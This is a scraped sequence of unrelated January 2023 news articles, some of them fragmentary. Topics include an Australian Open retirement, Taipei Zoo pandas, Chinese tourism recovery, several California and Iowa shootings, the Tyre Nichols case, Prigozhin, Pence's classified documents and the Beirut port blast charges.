The Guardian reported last week that King Charles had asked for the profits from a $1.2 billion portfolio of offshore wind farms owned by the Crown Estate to be used for public funding.

Read the original article on Business Insider
Karen Khachanov, right, shakes hands with Sebastian Korda following his retirement (Dita Alangkara/AP) (AP)

Sebastian Korda retired with a wrist injury during his Australian Open clash with Karen Khachanov, sending the Russian through to a second consecutive grand slam semi-final.

American Korda has been one of the stories of the tournament, defeating Daniil Medvedev and Hubert Hurkacz to reach a first slam quarter-final 25 years after his father Petr lifted the trophy.

But he began to struggle half way through the second set, receiving a medical time-out, and, after losing seven games in a row, called it quits trailing 7-6 (5) 6-3 3-0.

It was a very disappointing way to bow out for the 22-year-old, who was in obvious discomfort and was reduced to chopping forehands in a vain attempt to find a way back into the match.

Having reached the last four at a slam for the first time in his 23rd major tournament at the US Open last summer, Khachanov is now back at the same stage in his next event.

Back to back semi-finals at a slam feels great, said the Russian. Obviously not the way you want to finish the match. Up until a certain point it was a great battle.

SF BOUND @karenkhachanov is through to his first #AusOpen semi-final after Korda is forced to retire due to injury 7-6(5) 6-3 3-0.@AustralianOpen | #AusOpen pic.twitter.com/eeHbNsj2hW  ATP Tour (@atptour) January 24, 2023

Khachanov and Korda met for the first time at a grand slam at Wimbledon in 2021, and a topsy-turvy contest went all the way to a fifth-set tie-break before the Russian edged it.

This looked set to be a close battle as well, with Korda recovering from a breakdown to force a tie-break in the opening set and then beginning the second strongly.

But he called the trainer after five games to have his right wrist taped and did not win another game.
Feature: A happy Spring Festival with pandas in Taipei

Xinhua) 09:19, January 24, 2023

TAIPEI, Jan. 23 (Xinhua) -- It has been a popular routine during the Spring Festival, or Chinese New Year, for many people in Taiwan to visit the Taipei Zoo and say "Happy New Year" to pandas there.

Six-year-old Li Chia-i and her little brother elbowed through a large crowd to stand in front of the glass window in the panda house at the zoo, waving excitedly to Yuanbao, a two-and-half-year-old female panda and the second panda cub born in Taiwan.

In the indoor exhibition hall, the black-and-white chubby animal sometimes sat and sometimes stood up. At times she seemed to respond to the attention of her audience and her cute movements always triggered cheers and laughs from the crowd.

"Yuanbao grows up a little bit and so do I," Li said. "In the new year I will drink more milk and eat more vegetables to grow faster."

In the outdoor section of the panda house, Yuanbao's elder sister Yuanzai was taking a nap under a tree, and from time to time she covered her eyes with her paw to shield them from the bright sunshine.

"It is good luck for us that two of them are both out to meet visitors," said Li's father. The family drove from Taichung in the central part of the island to Taipei to visit the pandas.

"Although traffic was a bit heavy, my children were very excited and all the way they were discussing and planning the best composition of the photos they intended to take with the pandas," the father said.

Yuanbao and Yuanzai are daughters of Yuan Yuan and Tuan Tuan, the panda pair who arrived in Taipei as a goodwill gift from the Chinese mainland in 2008. The male panda Tuan Tuan died of illness in November last year.

"I have worried about the rest of the family after Tuan Tuan's death. Now seeing the two little ones seemingly playful and happy, I am greatly relieved," said a visitor surnamed Chung, who arrived at the zoo early in the morning to take photos of the panda family.

The zoo has set a schedule for the three pandas. They will take shifts to meet visitors during the Spring Festival holiday.

The mother Yuan Yuan is currently suffering with some minor discomforts and is under proper care and close monitoring. The zoo will schedule her to meet visitors once she recovers, the zoo's press department said.

"In the new year I will continue taking photos of the panda family and I hope to visit Mei Ling, the twin brother of Tuan Tuan, as soon as possible in Nanchang in east China's Jiangxi Province," Chung said.

(Web editor: Peng Yukai, Liu Ning)
Chinese tourists interact with a lion dance performer at the Ngurah Rai International Airport in Bali, Indonesia on Jan. 22, 2023. [Photo/Xinhua]





On the first day of the Chinese Lunar New Year, a Chinese tourist surnamed Wu landed in Bangkok, Thailand, together with her parents, at the start of a long-awaited vacation.



"I wanted to take my family to Thailand a few years ago, but it was put on hold due to the COVID-19 pandemic," said Wu, who lives in Hangzhou, capital of east China's Zhejiang Province. "As soon as the restrictions on our overseas trips were lifted, I booked the plane tickets to Thailand and fulfilled my promise."

As China downgraded its management of COVID-19 and facilitated the smooth and orderly cross-border travel of Chinese and foreign nationals in early January, the outbound travel market, which had been almost dormant for the past three years, quickly recovered during the Spring Festival.

"Currently, the demand for outbound travel is very strong. For instance, our charter flight products to the Maldives on Chinese Lunar New Year's Eve were sold out within three days," said Hang Haijun, head of a travel photo service.

The embassies and tourist bureaus of many countries, including Thailand, Norway and Indonesia, have extended their welcomes to Chinese tourists in various ways since the adjustment of China's COVID response and entry-exit policies.

"For any destination in the world, the return of Chinese tourists is something to look forward to," said Shen Jiani, a senior researcher at the strategic research center of the Ctrip Research Institute, adding that the boost will be felt most in the Asian market, as it is closer to China.

Chinese tourists are now more likely to choose overseas destinations with more open and friendly entry policies.

Data from Trip.com Group shows that nearly half of the hotel bookings made on the platform by Chinese tourists for longer than 20 days are orders for Thai hotels. In the past week, the number of Thai visa applicants in China increased by three times compared with last year, while the number of people buying tourism products for Thailand surged by 10 times year-on-year, according to data from Alibaba's travel branch Fliggy.

Wu said that she and her family left Guangzhou in the morning and landed in Bangkok at noon. It took only 20 minutes for them to complete the customs clearance process. "We were still unsure about the entry situation before we departed China, but the whole process went without any problem," she said.

Chinese tourists to Indonesia, Malaysia, Singapore and other countries have also posted their smooth entry experiences on social media platforms.

The influx of Chinese tourists is adding confidence to the economic recovery of some countries that depend on tourism. Malaysia is expected to receive 1.5 million to 2 million Chinese tourists in 2023, while some related industry practitioners in Singapore estimate that Chinese tourists will generate an additional 2 billion Singapore dollars in annual revenue.

Chinese people's urgent demand for outbound travel is also pushing tourism authorities to adjust policies.

On Jan. 20, the Ministry of Culture and Tourism released a circular to revive outbound group travel to 20 countries with friendly entry policies towards China, including Thailand, the Maldives, the United Arab Emirates, Russia and New Zealand. In Zhejiang, many travel agencies launched outbound group tour products overnight, and the tours of some routes were filled up right away.

"The market recovery is coming more quickly and steadily than expected," said Chen Jin, deputy general manager of China International Travel Service Ningbo Co., Ltd., adding that the resumption of outbound group travel will be a booster accelerating the recovery of the whole tourism industry.
Mikhail Svetlov/Getty

The Kremlin signaled Tuesday that Wagner Group boss Yevgeny Prigozhin could soon find himself the target of an assassination attempt.

Although Prigozhin is widely reported to have pissed off many officials in Vladimir Putins orbit with his antics in Ukraine, Kremlin spokesman Dmitry Peskov said it is actually authorities in Kyiv that Prigozhin should worry about.

Prigozhin himself claimed earlier Tuesday that hed been briefed on Ukrainian President Volodymyr Zelensky and CIA director William Burns supposedly getting together to discuss his assassination.

This is more of a question for the special services, Peskov told reporters when asked about the allegation.

But as for assassination attempts, Ukraine is involved in both assassination attempts and an absolutely monstrous murder. Let's remember the assassination attempts that took place. Let's remember the murder of [Daria] Dugina and so forth. The involvement of the Kyiv regime in such assassination attempts is obvious, so there is such a danger to our citizens, Peskov said.

The assassination claim originally came from Vladimir Rogov, one of Russias proxy leaders in Ukraines Zaporizhzhia region.

Rogue Wagner Commander Throws Prigozhin Under the Bus

One of the requests Zelensky made [during a meeting with the CIA director] was the murder of the Wagner boss, Mr. Prigozhin, Rogov told Russian state media, without elaborating on where hed gotten this information. He went on to say assassinating Prigozhin would be more than logical.

Prigozhin, appearing to relish in the prospect of acquiring martyr status in Russian society, quipped through his press service that killing him was a very good idea.

I agree that its time to eliminate Prigozhin. If they turn to me, I will definitely assist, he joked.

Even some pro-war Russian commentators were quick to point out on social media that the biggest threat for the Wagner boss is more likely right at home.

It seems to me that those who are most interested in Prigozhin's elimination are located near the Kremlin, one commentator wrote. Theyll just leak information about [his] movements and locations to the Ukrainians.

Story continues

Read more at The Daily Beast.

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A neon sign flashed Open at the Lai Lai Ballroom & Studio in Alhambra on Monday afternoon, less than two days after an attempted attack at the business by a man authorities say gunned down 11 people at a Monterey Park dance studio.

But the doors of the business remained locked to the public. The studios parking lot was sparsely filled with employee vehicles and television news vans. Almost no evidence remained that a potentially violent event had occurred less than 48 hours earlier, except for a small patch of fence secured with yellow police tape.

In observance of the tragedy at Star Dance last night, Lai Lai ... will reopen Monday for lessons only, the studio posted Sunday on Facebook. As an extra precaution, all students and teachers are subject to search prior to entering the studio. Our prayers go out to the victims families.

The night before, an armed man made his way into the Star Ballroom Dance Studio in Monterey Park in a hail of gunfire. When he left a few minutes later, 10 people were dead and 10 others injured. (On Monday, another victim died of her injuries.)

The man, identified by Los Angeles County sheriff's officials as 72-year-old Huu Can Tran, then traveled to the Lai Lai, where he tried to force his way inside but was disarmed by a community member who was inside the studio.

Alhambra native Jonathan Ha, who owns Magik Milk, a boba tea shop located down the street from Lai Lai, was horrified by the violence.

Anytime [a shooting] happens  either around a holiday or not, doesn't really even matter  its super unfortunate, the 33-year-old said. But because it was around the holiday, specifically where people come together to celebrate and bring good luck and good fortune into the year, it's immensely unfortunate for it to have hit our community.

Like many others, Ha was celebrating the Lunar New Year with his family when he saw news reports of the events in Monterey Park and Alhambra. He recalled the shock and uncertainty his family felt when reading the initial reports.

Story continues

Everyone was like, Is this confirmed? Is it real? It's in the San Gabriel Valley  we don't get that type of news.  Ha said. We had to wait around and get more confirmed sources, and when that started coming through, reality started just sitting in.  We really just don't know how" to process things like that, he added.

Ha opened the doors to his store Sunday morning to spread positive energy in the community. He wanted to keep his head up and provide a space where people could have a sense of normality and where he and his staff could lend an ear to anybody looking to talk.

My family has always looked at it as we're not gonna let this or events like this actually terrorize us and keep us from living our lives, he said.

Saturdays shooting also weighs on Ha as he once had been heavily involved in the dance community. Before the pandemic, he worked as an international choreographer along the West Coast and in Asia and Europe. The global shutdown forced him out of that career, and thats when he transitioned to tea shop owner.

As a dancer, Ha had dropped in several times at the Lai Lai Ballroom & Studio and said he was a frequent visitor to Star Ballroom.

After this weekends events, he said he feels fortunate to have shifted to a different field.

I think [he and his wife] kind of consider ourselves lucky that we were not as heavily involved in dance because that could happen to any studio looking at the the way it turned out, Ha said. It's like a reality shock for us. Nobody's invincible, nobody's untouchable and no communities are completely safe from the yin and yang of the world.

Law enforcement sources told The Times that Tran, the shooting suspect, had frequented the two clubs  the Star Ballroom and the Lai Lai Ballroom  and that the shooting might have been sparked by a personal dispute.

They also believe Tran was having unspecified emotional problems that had been getting worse in the weeks before the shooting. Tran died of a self-inflicted gunshot wound in a strip mall parking lot near Sepulveda and Hawthorne boulevards in Torrance after law enforcement officials closed in on him.

It will likely take weeks to unravel what happened. Detectives began serving search warrants at multiple locations Sunday.

Inside Trans home in Hemet, investigators found a .308-caliber rifle, hundreds of rounds of ammunition, electronic devices, including cellphones and computers, and items that led officials to suspect he was manufacturing firearm suppressors, Los Angeles County Sheriff Robert Luna said during a news conference on Monday.

Authorities also seized a Norinco handgun that was registered to Tran from the van where his body was found Sunday, Luna said.

I want to emphasize that all the firearms recovered still require additional forensic ballistic examinations and comparisons that were doing with our partners, as well as additional investigations into the origins of where the suspect got those weapons, Luna said, adding theres a lot of work to be done there, but we dont want to leave any stone unturned.

Times staff writers Noah Goldberg and Hannah Fry contributed to this report.

This story originally appeared in Los Angeles Times.
Two students were killed just before 1 p.m. Monday in shootings at Starts Right Here, an educational mentorship program in downtown Des Moines that helps at-risk youth and has won high-profile support from state and city leaders.

Police spokesperson Sgt. Paul Parizek said Starts Right Here founder and CEO, Will Holmes, who is known by his stage name Will Keeps, was seriously injured and remains hospitalized as of Monday evening.

Parizek said the wounded students, 18-year-old Des Moines resident Gionni Dameron and 16-year-old Des Moines resident Rashad Carr, were found in very critical condition and that officers performed CPR on them. They were taken to a hospital, where they died.

Des Moines police investigate a multiple-injury shooting at Starts Right Here, 455 S.W. Fifth St., a nonprofit educational mentorship program that helps at-risk metro Des Moines youth.

Late Monday, police charged 18-year-old West Des Moines resident Preston Walls with two counts of first-degree murder, attempted murder and criminal gang participation.

Parizek said in a news release that Walls was allegedly armed with a 9mm handgun with an extended ammunition magazine at Starts Right Here. Holmes attempted to escort him out of the building when Walls allegedly started shooting at the teenagers.

"Walls, and both deceased victims, are known gang members, belonging to opposing gangs, and evidence indicates that that these crimes were committed as a result of an ongoing gang dispute," Parizek said in the release. He did not elaborate on the evidence that links the shootings to rival gangs.

More:Victims identified in Des Moines shooting at Starts Right Here

At about 1:20 p.m., based on a witness description, police stopped a vehicle near MacRae Park, about 2 miles south of the shooting scene. Walls allegedly fled and was tracked by a K-9 officer to the 1300 block of River Vista Drive, while two other people remained in the car, Parizek said. All three were taken into custody.

The two others have been released without charges, Parizek said in a release Tuesday morning.

About 20 people gathered at MercyOne Des Moines emergency room vestibule and lobby Monday afternoon.

Story continues

More:What we know about 18-year-old charged with murder in Des Moines nonprofit program shooting

A few confirmed to the Des Moines Register they were either friends or family of the individuals who died in the shooting, but declined to comment further. They stood, paced, sat and chatted as they waited to hear further news about their loved ones. Many of them were teenagers.

Several cars, as well as police vehicles, were parked in front of the entrance to the hospital. A crime scene unit was also seen leaving the parking lot.

Complaints detail moments of gunfire

Criminal complaints filed Tuesday morning against Walls shed additional light on what happened when Walls arrived at Starts Right Here. The shooting was captured on security video.

Prosecutors say Walls, who was on supervised release after a June 2022 arrest for interfering with West Des Moines police and other charges, cut off his ankle GPS monitor about 15 minutes before the shooting. At the nonprofit, Walls entered a common area with the three victims, and Holmes attempted to escort him out, only for Walls to begin shooting, hitting one teen and then chasing down and shooting the second. Walls reportedly kept shooting at both teens after they'd fallen, and Holmes, who was standing nearby, was struck repeatedly.

Walls then fled the scene, according to the complaints. When police attempted to pull over the vehicle in which he was a passenger, he then fled into a nearby wooded area and was reportedly found shortly afterward hiding in a brush pile, where he was arrested without incident.

It's not clear how many shots Walls fired in total, but the complaint notes that his handgun had an extended magazine with a maximum capacity of 31 rounds. The gun had only 3 shots remaining when police recovered it.

More:What people are saying about the Des Moines shooting that killed 2 students

Bystander: 'Cop cars pouring in from everywhere'

The Starts Right Here program, 455 S.W. Fifth St., was founded by local rapper and activist Holmes, whose stage name is Will Keeps.

Nicole Krantz, a coder at MercyOne Des Moines Clinics Administration, said her office, which is next door to Starts Right Here, was put on lockdown immediately after the shooting. She said she saw someone running from the building with police in pursuit, both on foot and in patrol cars.

We just saw a lot of cop cars pouring in from everywhere," Krantz said.

Its terrifying. Were all worried," she said. "We went on lockdown, obviously. We were all told to stay away from the windows because we werent sure if they caught the guy."

Krantz said she was taking the rest of the day off because of stress and anxiety.

The shootings are the latest in a wave of violence that has swept over the Des Moines metro since early December, including at least 10 homicides, the killing by Des Moines police of a 16-year-old who they said raised a gun toward them, and several non-fatal shootings.

Parizek said that although "there was nothing random" about Monday's shootings, the specific motive was unclear. It was the eighth homicide in the city of Des Moines in the past two months, he said, "and the why is the one thing that sometimes we never know, unless somebody tells us the why.

More:What we know about Starts Right Here, where 2 students were shot dead and founder wounded

State, local leaders react to shootings

In a partnership started in 2021 with Des Moines Public Schools, Starts Right Here helps reengage students in the districts Options Academy credit recovery program, the school district said in a news release. It said the group supports students no longer in a school building due to behavioral issues.

The group serves 40 to 50 students at any given time, with the district providing educational programming, the release said. No Des Moines schools personnel were at Starts Right Here when the shootings occurred, it said.

Des Moines Police Chief Dana Wingert is on the Starts Right Here board, and Gov. Kim Reynolds is on an advisory board.

Reynolds in May 2021 signed a bill expanding charter schools in a ceremony at Starts Right Here. In a statement Monday, she said she was shocked and saddened to hear about the shooting at Starts Right Here. Ive seen first-hand how hard Will Keeps and his staff works to help at-risk kids through this alternative education program. My heart breaks for them, these kids and their families. Kevin and I are praying for their safe recovery.

A statement released on behalf of the Starts Right Here board of directors said classes are cancelled for the remainder of the week, though they will provide grief services for students. It said they will not stop doing the work "we are called to do."

"This is a tremendously painful time for our entire Starts Right Here community, as our sole focus is to help at-risk youth reach their full potential," the statement said. "These actions are contrary to all that we stand for and point out more must be done. These two students had hope and a future that will never be realized."

U.S. Sen Chuck Grassley, R-Iowa, tweeted that he was "monitoring reports of a shooting in Des Moines at Starts Right Here"

"Thx to first responders & law enforcement for promptly responding," he wrote. "Praying for all those affected."

Des Moines schools interim Superintendent Matt Smith said in a statement that school officials were waiting to learn more details., but that "we are saddened to learn of another act of gun violence, especially one that impacts an organization that works closely with some of our students, adding, "Our thoughts are with any victims of this incident and their families and friends.

Iowa State Education Association President Mike Beranek called for more effective prevention of gun violence in educational settings.

Tragedy has once again struck close to home. Our hearts go out to the victims, families, and school community at Starts Right Here as they endure the unthinkable," Beranek said in a statement. "We implore our elected leaders to consider effective strategies to eliminate gun violence and pursue concrete solutions that will keep our students, educators, and communities safe. Our schools need to be bastions of safety, not the recipients of violence. This needs to end. As a nation we need to recognize this is (a) societal issue seeping into our schools.

Amid a busy day focused on education issues, the Iowa House held a moment of silence for the victims Monday at the request of Minority Leader Jennifer Konfrst, D-Windsor Heights.

"A few moments ago, two students in Des Moines were killed in a shooting at the Starts Right Here educational nonprofit mentorship program on Southwest Fifth. One adult we believe is in serious condition. I would like to ask for a moment of silence to honor the families of those who lost a child today and to honor and lift up Rep. Ako Abdul-Samad who is there currently helping to mend those in the aftermath," Konfrst said.

Sen. Brad Zaun, R-Urbandale, also led the Iowa Senate in a moment of silence.

Im just asking everyone to take a moment of silence, pray for the families of the victims and the victims, and the people of that educational institution, Zaun said.

Des Moines police investigate a multiple-injury shooting at Starts Right Here, 455 S.W. Fifth St., a nonprofit educational mentorship program that helps at-risk metro Des Moines youth, Monday, Jan. 23, 2023.

Will Keeps founded Starts Right Here to combat youth violence

Holmes has said he founded Starts Right Here to help prevent youth violence. He's said he was born on the South Side of Chicago and became involved with a gang there after traumatic events in his childhood.

"I thought the streets was my family," he said as one of the presenters at the Des Moines Register's Storytellers Project in 2018. "I thought these people on the streets would have my back more than my own family would. I thought that they would protect me more than my own family would."

Then he saw a friend fatally shot and suffered a beating that nearly killed him, leaving him angry and aggressive, he said.

He carried those emotions to Iowa, he said, as well as his career as a rapper. But when his children challenged him to write a song about "what's going on in the community," he said, he came up with one that was about "opening up people on each side to listen to and understand each other."

It opened his eyes to the possibilities for change.

"You see, when I subtracted negativity from my life and added hope and multiplied that to the people around me, I saw the division in my city start to fade," he said. "That helped me have more of a positive influence in my community."

Staff writers Virginia Barreda, Samantha Hernandez, William Morris and F. Amanda Tugade contributed to this article.

This article originally appeared on Des Moines Register: Iowa school program shooting kills 2 in Des Moines; victims identified
Three youths physically attacked staff at the Warren Regional Juvenile Detention Center in Bowling Green late Monday, state officials said.

One employee was medically evaluated for non-life-threatening injuries after the attack, according to a statement from the Department of Juvenile Justice. The incident was handled internally by DJJ staff and did not require outside police intervention, according to the statement.

Around 9 p.m. Monday, all youths in the facility were ordered to return to their rooms for the night. Three youths refused to cooperate, and they attacked the youth worker who was inside the living unit at the time, according to the statement.

Two more employees came to intervene, including the facility superintendent. The youths punched and kicked the staff in the head, face and back, according to the statement. The control room then instructed all DJJ staff in the facility to report to the scene, and the three youths finally were restrained and secured in their rooms.

The three youths were in detention on charges of murder, first-degree robbery and first-degree robbery, according to the statement.

The states juvenile justice system has been plagued in recent months by riots, assaults and escapes, as well as criticism that its thinly staffed facilities sometimes neglect youths by leaving them isolated in cells for extended periods.

Gov. Andy Beshear and the General Assembly say they are working on reforms to the system to improve physical security in the detention centers and the hiring and retention of staff.

Gov. Beshear plans pay raises to fill jobs at KYs beleaguered juvenile justice centers

Insiders warned of stomach-turning abuse in KY juvenile facility in months before riot
Flags of Latvia

The Ambassador of Russia shall leave Latvia by Feb. 24, 2023, the report says.

Likewise, the Ambassador of the Republic of Latvia to Russia is leaving Russia by Feb. 24.

Read also: Next two-three weeks to be decisive for Ukraine and whole world, European Council president says

Earlier, Moscow decided to reduce its diplomatic presence in Estonia to the level of charge daffaires and expelled the Estonian ambassador due to accusations of Russophobia.

In response, Estonias Ministry of Foreign Affairs took a mirror step.

Read also: Estonia donates all of its 155mm howitzers and other weapons to Ukraine

In addition, Latvian Interior Minister Maris Kucinskis said that Latvia would no longer allow Russians fleeing mobilization to enter the country.

Read the original article on The New Voice of Ukraine
A portrait of Tyre Nichols is displayed at a memorial service for him on Tuesday, Jan. 17, 2023 in Memphis, Tenn. Nichols was killed during a traffic stop with Memphis Police on Jan. 7. Adrian Sainz/AP Photo

Tyre Nichols, a 29-year-old Black man, died after being beaten by Memphis police during a traffic stop.

Lawyers for his family say he was pummelled non-stop for three minutes and was kicked and tasered.

The Memphis Police Department has fired five officers, who are also Black, after an investigation.

A Black man who died after a traffic stop in Memphis, Tennessee was beaten by police for three straight minutes, attorneys for his family said on Monday.

Tyre Nichols, 29, was sent to the hospital in critical condition after the January 7 traffic stop and died three days later. He had a 4-year-old son.

On Monday, law enforcement officials allowed Nichols' family and their lawyers to privately view body camera footage of Nichols' arrest, which is not yet available to the public.

After seeing the footage, attorney Antonio Romanucci said during a Monday press conference that Nichols was "defenseless the entire time" while he was being beaten by five police officers, all of whom were also Black.

"He was a human pinata for those police officers," he said. "It was unadulterated, unabashed, non-stop beating of this young boy for three minutes."

Rodney Wells, Nichols' stepfather, said the video showed Nichols being beaten just 80 yards from his home, where he lived with his mother and Wells.

"What I saw on the video today was horrific," he said at the press conference. "No father, mother should have to witness what I saw today."

Lawyers for Nichols' family said the footage showed him being kicked, punched, and tasered. His mother, RowVaughn Wells, was so affected by the video that she left the room when she heard her son's voice, The Washington Post reported.

RowVaughn Wells, mother of Tyre Nichols, who died after being beaten by Memphis police officers, cries as she is comforted by Tyre's stepfather Rodney Wells. Gerald Herbert/AP Photo

Attorney Benjamin Crump, who also represents Nichols' family, compared the video of the January beating to the footage of the 1991 battering of Rodney King by Los Angeles Police Department officers.

"Yet again, we're seeing evidence of what happens to Black and brown people from simple traffic stops. Simple traffic stops. You should not be killed because of a simple traffic stop," he said at the Monday press conference.

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Crump said Nichols was a FedEx worker who took photography classes, loved computers, and was an avid skateboarder. His mother said her son had her name tattooed on his arm.

The Memphis Police Department (MPD) said Nichols had been stopped for reckless driving and fled the scene on foot after a confrontation with officers.

His stepfather said the body camera footage showed Nichols ran because he was afraid.

"Our son ran because he was scared for his life," Wells said. "He did not run because he was trying to get rid of no drugs, no guns, no any of that."

In a statement to Insider, Crump and Romanucci said their legal team had conducted an independent autopsy of Nichols' body.

"We can state that preliminary findings indicate Tyre suffered extensive bleeding caused by a severe beating, and that his observed injuries are consistent with what the family and attorneys witnessed on the video of his fatal encounter with police on January 7, 2023," they added in the statement.

On Friday, the MPD said it fired five officers  Tadarrius Bean, Demetrius Haley, Emmitt Martin III, Justin Smith, and Desmond Mills, Jr.  after an administrative investigation into Nichols' death.

Memphis Police Dept (@MEM_PoliceDept) January 21, 2023

"After a thorough review of the circumstances surrounding this incident, we have determined that five MPD officers violated multiple department policies, including excessive use of force, duty to intervene, and duty to render aid," Chief Cerelyn Davis wrote in a statement.

Memphis police officials said footage of Nichols' arrest will be released publicly at an unspecified later date.

An MPD spokesperson told Insider the department would share updates on its social media channels.

January 25, 2023: This story was updated with comment from Nichols' family's lawyers.

Read the original article on Insider
Law enforcement personnel control the scene of a shooting on Jan. 23, in Half Moon Bay, California. Jeff Chiu / AP

A shooter killed at least seven people at a mushroom farm and another location in Half Moon Bay, California, on Monday, local officials said.

The San Mateo County sheriff's office identified the shooter as Chunli Zhao, a 67-year-old man, and local media footage captured the moment he was taken into custody in the parking lot of a sheriff's office station. (Other officials earlier on Monday had identified him as Zhao Chunli.)

The victims  who have not yet been publicly identified  are believed to have been workers on the farm. In a press conference Tuesday, officials said the shooter also worked on the farm, saying it was believed to be a case of "workplace violence."

A suspect is now in custody in the Half Moon Bay shootings. Here's the intense moment it happened - caught on video by our @abc7newsbayarea camera 01:17 AM - 24 Jan 2023

Christina Corpus, the San Mateo County sheriff, said during a news conference that deputies were dispatched at 2:22 p.m. Monday and found four people dead from gunshot wounds as well as another person with life-threatening injuries. Deputies then discovered three more bodies at a separate scene about a mile away. At least one scene was described by local officials as a mushroom farm, and Corpus told reporters they were both nurseries.

The motive is unknown, Corpus said, but police believed the shooter acted alone. Because the shooting occurred in the afternoon, when school was over for the day, there were children who witnessed the shooting. "For children to witness this is unspeakable," she said.

David Oates, a spokesperson for California Terra Garden, the company that owns the farm where one of the shootings occurred, confirmed to BuzzFeed News that four of the victims as well as a fifth person who was injured and the suspect all worked at the farm.

"We remain shocked and grief-stricken over the senseless loss of four of our friends and long-time employees," Oates said in a statement Tuesday, "and we pray for the team member that remains in critical condition."

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Corpus told reporters at another news conference on Tuesday afternoon that the surviving worker was being treated at Stanford Hospital and was in stable condition.

The shooter legally owned his gun, the sheriff told CNN on Tuesday morning, noting that he was not previously known to law enforcement. He wasnt a red flag for us, nothing to put him on our radar," she said.

But the shooter did have a history of violent threats against coworkers, according to court records first obtained by the San Francisco Chronicle. In 2013, a man who worked with Zhao at a restaurant reportedly filed a restraining order against him, alleging that Zhao had once attempted to smother him with a pillow and threatened he "would use a kitchen knife to split my head."

San Mateo County Sheriff's Office

Oates told BuzzFeed News that California Terra Garden, which acquired the farm in March 2022, was unaware of any disputes or issues involving Zhao prior to Monday's shooting. He said Zhao did work at the farm, which primarily grows mushrooms, for at least several years prior to the company taking over, but he did not have additional details about his employment history.

"No previous incident report or concerns raised," Oates said in an email.

The mass shooting was one of several in California in just a three-day span. On Saturday, 11 people were killed and nine more were injured at a ballroom dance venue in Monterey Park, a predominantly Asian American suburb of Los Angeles. On Monday, just hours after the tragedy in Half Moon Bay, one person was killed and seven more were injured in a shooting in Oakland.

"We are sickened by todays tragedy in Half Moon Bay," David Pine, president of the San Mateo County Board of Supervisors, said in a statement Monday. "We have not even had time to grieve for those lost in the terrible shooting in Monterey Park."

Local and state officials pointed to California's strict gun laws as they spoke about the tragedies, but that clearly more needs to be done to reduce deaths caused by gun violence.

"Gun safety works," Gov. Gavin Newsom said during a news conference in Half Moon Bay Tuesday. "We will not back away from that resolve, but we can't do this alone and with all due respect, we feel like we are."

"[The] federal government needs to do its job," he later added.

Josh Becker, a California state senator, tweeted, "When is enough going to be enough for this country?????"

7 people now dead in Half Moon Bay Shootings today. When is enough going to be enough for this country????? 01:48 AM - 24 Jan 2023

On Monday, Newsom tweeted that he was at a hospital meeting with victims of the Monterey Park shooting when he got word about the Half Moon Bay mass shooting.

"At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting," he said. "This time in Half Moon Bay. Tragedy upon tragedy."

During his remarks on Tuesday, the governor took a moment to call out House Speaker Kevin McCarthy, who represents California's Central Valley where many of the state's farmworkers live and work, and other Republicans who have fought back against gun control measures.

"We haven't heard one damn word from him. Not since Monterey park  not one expression of prayers even," Newsom said. "It should surprise nobody."

The American Public Health Association says gun violence in the US is a public health crisis. It is a leading cause of premature death in the country, responsible for more than 38,000 deaths annually. As of Jan. 24, at least 1,217 people have already died from gun violence this year, and another 1,584 have died by suicide, according to data from the Gun Violence Archive. In 2022, more than 20,000 people died from gun violence, with over 24,000 additional gun deaths by suicide.

More on this
Trump and Pence at a press conference at the White House on April 23, 2020. Drew Angerer/Getty Images

Donald Trump defended Pence after classified documents were discovered at the VP's home.

"Mike Pence is an innocent man," the former president wrote in a social media post.

A lawyer for Pence turned over the records to the FBI last week, according to multiple news reports.

Former President Donald Trump on Tuesday defended former Vice President Mike Pence after around a dozen documents marked as classified were discovered at his Indiana home.

"Mike Pence is an innocent man," Trump wrote on his social media platform, Truth Social, shortly after the news broke. "He never did anything knowingly dishonest in his life. Leave him alone!!!"

A lawyer for Pence found the records at Pence's Carmel, Indiana, home and turned them over to the FBI last week, CNN first reported on Tuesday. The FBI is reportedly reviewing the documents and how they turned up at Pence's home.

Trump's reaction comes as he's under criminal investigation over possibly mishandling classified materials after he left the White House. The FBI executed a search warrant at Trump's Mar-a-Lago club and residence in Florida in August, finding roughly 100 documents with classified markings.

Attorney General Merrick Garland appointed a special counsel to oversee the investigation in November, three days after Trump announced his 2024 presidential bid. The former president has heavily criticized the investigation and denied any wrongdoing in regard to the documents.

It also comes as classified documents have been found at President Joe Biden's former office and his Delaware home several times this month. The most recent discovery of records, which were from Biden's time as vice president, came during an FBI search of Biden's Wilmington, Delaware home on Friday.

Earlier this month, Garland appointed a special counsel to investigate how the records ended up there.

Pence joins Trump and Biden as potential 2024 presidential frontrunners who are entangled in classified-documents controversies. Pence has been a rumored candidate but has not yet announced a campaign. Biden has repeatedly said he intends to run but has not formally launched a bid.

Story continues

Legal experts have distinguished Trump's handling of classified records from Biden's, arguing that Biden's lawyers notified the authorities about the discovery whereas Trump's team resisted turning the records over. Still, both Trump and Biden have caught flak over the revelation of the records at their residences.

Trump's defense of Pence also comes as the two's relationship has fractured following the 2020 election and the Capitol riot on January 6, 2021.

Trump, at the time, had sought to pressure Pence to challenge the results as Congress met to certify then-President-elect Joe Biden's victory. Pence dismissed the request, saying he had no constitutional authority to do so.

Since leaving office, Pence has said he may never "see eye to eye" with Trump on January 6, though he's praised the work the two accomplished during their one term in the White House.

Read the original article on Business Insider
You are here: Business

Voyah, a Chinese luxury electric auto brand, made on Monday its debut in the Israeli market, introducing a large sport utility vehicle (SUV).

At a press conference held in Tel Aviv, the Chinese car manufacturer introduced the Voyah Free model, which has a driving range of up to 500 km, a maximum speed of 200 km/h, a battery capacity of 106 kWh, and fast charging from 20% to 80% in 45 minutes.

"In the future, we will bring more green and smart car products to the Israeli people," said Voyah CEO Lu Fang in a video address.

Voyah is a luxury division of the Chinese Dongfeng Motor Corporation, headquartered in Wuhan, central China.

Dongfeng was founded in 1969 and is one of China's largest automakers.
BEIRUT (Reuters) - The judge investigating the deadly 2020 Beirut port blast has charged then-premier Hassan Diab and two other former ministers with homicide with probable intent, according to a court summons seen by Reuters on Tuesday.

Judge Tarek Bitar unexpectedly resumed his investigation on Monday after more than a year of paralysis prompted by political opposition to his probe.

(Reporting by Laila Bassam; Writing by Maya Gebeily; Editing by Kevin Liffey)
Bob Seely says firms offering strategic lawsuits against public participation (Slapps) 'are becoming a fifth column' - Paul Grover for The Telegraph

Expensive law firms that threaten free speech by using legal gangsterism to silence critics should face 1 million punishments, an MP has warned.

